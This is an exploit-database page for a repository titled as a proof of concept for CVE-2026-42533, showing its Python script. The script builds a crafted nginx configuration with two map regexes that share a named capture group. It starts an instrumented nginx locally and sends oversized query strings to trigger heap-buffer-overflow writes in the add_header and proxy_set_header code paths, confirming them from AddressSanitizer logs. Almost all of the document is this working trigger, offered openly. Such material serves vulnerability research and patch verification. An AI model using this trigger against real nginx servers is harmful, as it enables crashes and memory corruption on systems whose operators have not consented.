Exploit databaseDownload repository ZIP
GH-c37787cdae35d64768ff01718be600bd
0xcyberstan/cve-2026-42533-poc
Sources for CVE-2026-42533
6 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
0xcyberstan/cve-2026-42533-pocRevision ff9b97d4989f
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploits/named_capture_poc.py
Python · 6,072 bytes#!/usr/bin/env python3
"""ASan trigger for nginx 1.30.1 named capture variable clobbering.
Distinct from numbered capture ($1) variant - works through r->variables[]
via (?P<name>...) groups, read by copy_var_code (NOT copy_capture_code).
Tests two code paths:
#1 ngx_http_script_copy_var_code in ngx_http_complex_value (add_header)
#2 ngx_http_script_copy_var_code in ngx_http_proxy_create_request (cross-directive)
"""
import os, socket, subprocess, sys, tempfile, time, shutil, signal
NGINX = os.environ.get("NGINX_BIN",
os.path.join(os.path.dirname(os.path.abspath(__file__)), "objs", "nginx"))
CONF = """\
worker_processes 1;
daemon off;
master_process off;
error_log logs/error.log info;
pid logs/nginx.pid;
events {{ worker_connections 64; }}
http {{
access_log off;
map $uri $nc_map1 {{
"~^/nc/(?P<ver>\\d+)/" "m1";
"~^/cross/(?P<ver>\\d+)/" "m1";
default "";
}}
map $arg_v $nc_map2 {{
"~^(?P<ver>.+)" "m2";
default "";
}}
server {{
listen 127.0.0.1:{port};
# Site 1: single-expression overflow via add_header + return
# ASan: copy_var_code:980 in complex_value:98
location ~ "^/nc/\\d+/" {{
add_header X-Debug "$nc_map1-$ver-$nc_map2" always;
return 200 "ok\\n";
}}
# Site 2: cross-directive overflow via separate proxy_set_header
# ASan: copy_var_code:980 in proxy_create_request:1434
location ~ "^/cross/\\d+/" {{
proxy_set_header X-M1 "$nc_map1";
proxy_set_header X-Ver "$ver";
proxy_set_header X-M2 "$nc_map2";
proxy_pass http://10.255.255.1:80;
proxy_connect_timeout 2s;
proxy_read_timeout 1s;
}}
location = / {{ return 200 "alive\\n"; }}
}}
}}
"""
SITES = [
{
"name": "copy_var_code in complex_value (add_header)",
"path": "/nc/1/?v=" + "A" * 1000,
"expect_write": 1000,
"expect_caller": "ngx_http_complex_value",
},
{
"name": "copy_var_code in proxy_create_request (cross-directive proxy_set_header)",
"path": "/cross/1/?v=" + "B" * 8000,
"expect_write": 8000,
"expect_caller": "ngx_http_proxy_create_request",
},
]
def http_get(port, path):
try:
s = socket.create_connection(("127.0.0.1", port), timeout=5)
s.sendall(f"GET {path} HTTP/1.0\r\nHost: x\r\n\r\n".encode())
s.settimeout(3)
try:
return s.recv(65536)
except:
return b""
finally:
s.close()
except:
return None
def main():
if not os.path.isfile(NGINX):
print(f"[!] nginx not found at {NGINX}")
print(f" Set NGINX_BIN env var or run from the nginx source directory")
return 1
port = 18200
workdir = tempfile.mkdtemp(prefix="nginx_named_cap_")
os.makedirs(os.path.join(workdir, "logs"), exist_ok=True)
conf_path = os.path.join(workdir, "nginx.conf")
with open(conf_path, "w") as f:
f.write(CONF.format(port=port))
print("named capture variable clobbering (r->variables[], not r->captures[])")
print("two map regexes with same (?P<ver>...) group -> LEN/VAL mismatch")
print()
passed = 0
failed = 0
for i, site in enumerate(SITES):
print(f"--- Site {i+1}: {site['name']}")
env = os.environ.copy()
asan_log = os.path.join(workdir, f"asan_{i}")
env["ASAN_OPTIONS"] = (
f"detect_odr_violation=0:log_path={asan_log}"
f":abort_on_error=1:detect_leaks=0"
)
proc = subprocess.Popen(
[NGINX, "-p", workdir, "-c", conf_path],
stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, env=env
)
time.sleep(0.8)
if proc.poll() is not None:
print(f" SKIP - nginx failed to start")
failed += 1
continue
http_get(port, site["path"])
time.sleep(0.5)
alive = proc.poll() is None
asan_text = ""
for fn in os.listdir(workdir):
if fn.startswith(f"asan_{i}"):
with open(os.path.join(workdir, fn), errors="replace") as fh:
c = fh.read()
if "AddressSanitizer" in c:
asan_text = c
if not asan_text:
errlog = os.path.join(workdir, "logs", "error.log")
if os.path.exists(errlog):
with open(errlog, errors="replace") as fh:
c = fh.read()
if "AddressSanitizer" in c:
asan_text = c
if alive:
try:
proc.terminate()
proc.wait(timeout=3)
except:
proc.kill()
if asan_text and "heap-buffer-overflow" in asan_text:
for line in asan_text.split("\n"):
if "WRITE of size" in line:
print(f" CONFIRMED {line.strip()}")
break
for line in asan_text.split("\n"):
if "ngx_http_script_copy_var_code" in line:
print(f" {line.strip()}")
break
for line in asan_text.split("\n"):
if site["expect_caller"] in line:
print(f" {line.strip()}")
break
passed += 1
elif not alive:
print(f" CRASHED (no ASan log found - check build)")
passed += 1
else:
print(f" NOT TRIGGERED - worker survived")
failed += 1
# clear error log for next test
errlog = os.path.join(workdir, "logs", "error.log")
if os.path.exists(errlog):
open(errlog, "w").close()
print()
print(f"Results: {passed}/{len(SITES)} confirmed")
shutil.rmtree(workdir, ignore_errors=True)
return 0 if failed == 0 else 1
if __name__ == "__main__":
sys.exit(main())